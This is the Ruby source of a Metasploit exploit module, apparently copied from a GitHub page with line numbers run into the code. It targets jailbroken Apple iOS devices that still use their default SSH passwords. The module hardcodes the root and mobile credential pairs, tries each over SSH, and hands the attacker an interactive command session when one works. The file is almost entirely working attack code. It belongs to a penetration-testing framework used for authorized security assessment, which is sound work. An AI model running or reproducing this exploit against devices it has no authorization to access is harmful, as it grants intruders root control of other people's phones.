Path: blob/master/modules/exploits/apple_ios/ssh/cydia_default_ssh.rb
28101 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'net/ssh'6require 'net/ssh/command_stream'78class MetasploitModule < Msf::Exploit::Remote9Rank = ExcellentRanking1011include Msf::Exploit::Remote::SSH1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'Apple iOS Default SSH Password Vulnerability',18'Description' => %q{19This module exploits the default credentials of Apple iOS when it20has been jailbroken and the passwords for the 'root' and 'mobile'21users have not been changed.22},23'License' => MSF_LICENSE,24'Author' => [25'hdm'26],27'References' => [28['OSVDB', '61284'],29['ATT&CK', Mitre::Attack::Technique::T1021_004_SSH]30],31'DefaultOptions' => {32'EXITFUNC' => 'thread'33},34'Payload' => {35'Compat' => {36'PayloadType' => 'cmd_interact',37'ConnectionType' => 'find'38}39},40'Platform' => 'unix',41'Arch' => ARCH_CMD,42'Targets' => [43['Apple iOS', { 'accounts' => [ [ 'root', 'alpine' ], [ 'mobile', 'dottie' ], ['mobile', 'alpine'] ] } ],44],45'Privileged' => true,46'DisclosureDate' => '2007-07-02',47'DefaultTarget' => 0,48'Notes' => {49'Stability' => [CRASH_SAFE],50'Reliability' => [REPEATABLE_SESSION],51'SideEffects' => []52}53)54)5556register_options(57[58Opt::RHOST(),59Opt::RPORT(22)60], self.class61)6263register_advanced_options(64[65OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),66OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])67]68)69end7071def post_auth?72true73end7475def rhost76datastore['RHOST']77end7879def rport80datastore['RPORT']81end8283def do_login(user, pass)84opts = ssh_client_defaults.merge({85auth_methods: ['password', 'keyboard-interactive'],86port: rport,87password: pass88})8990opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']9192begin93ssh = nil94::Timeout.timeout(datastore['SSH_TIMEOUT']) do95ssh = Net::SSH.start(rhost, user, opts)96end97rescue Rex::ConnectionError98return99rescue Net::SSH::Disconnect, ::EOFError100print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"101return102rescue ::Timeout::Error103print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"104return105rescue Net::SSH::AuthenticationFailed106print_error "#{rhost}:#{rport} SSH - Failed authentication"107rescue Net::SSH::Exception => e108print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"109return110end111112if ssh113conn = Net::SSH::CommandStream.new(ssh, logger: self)114ssh = nil115return conn116end117118return nil119end120121def exploit122target['accounts'].each do |info|123user, pass = info124print_status("#{rhost}:#{rport} - Attempt to login as '#{user}' with password '#{pass}'")125conn = do_login(user, pass)126next unless conn127128print_good("#{rhost}:#{rport} - Login Successful ('#{user}:#{pass})")129handler(conn.lsock)130break131end132end133end134135136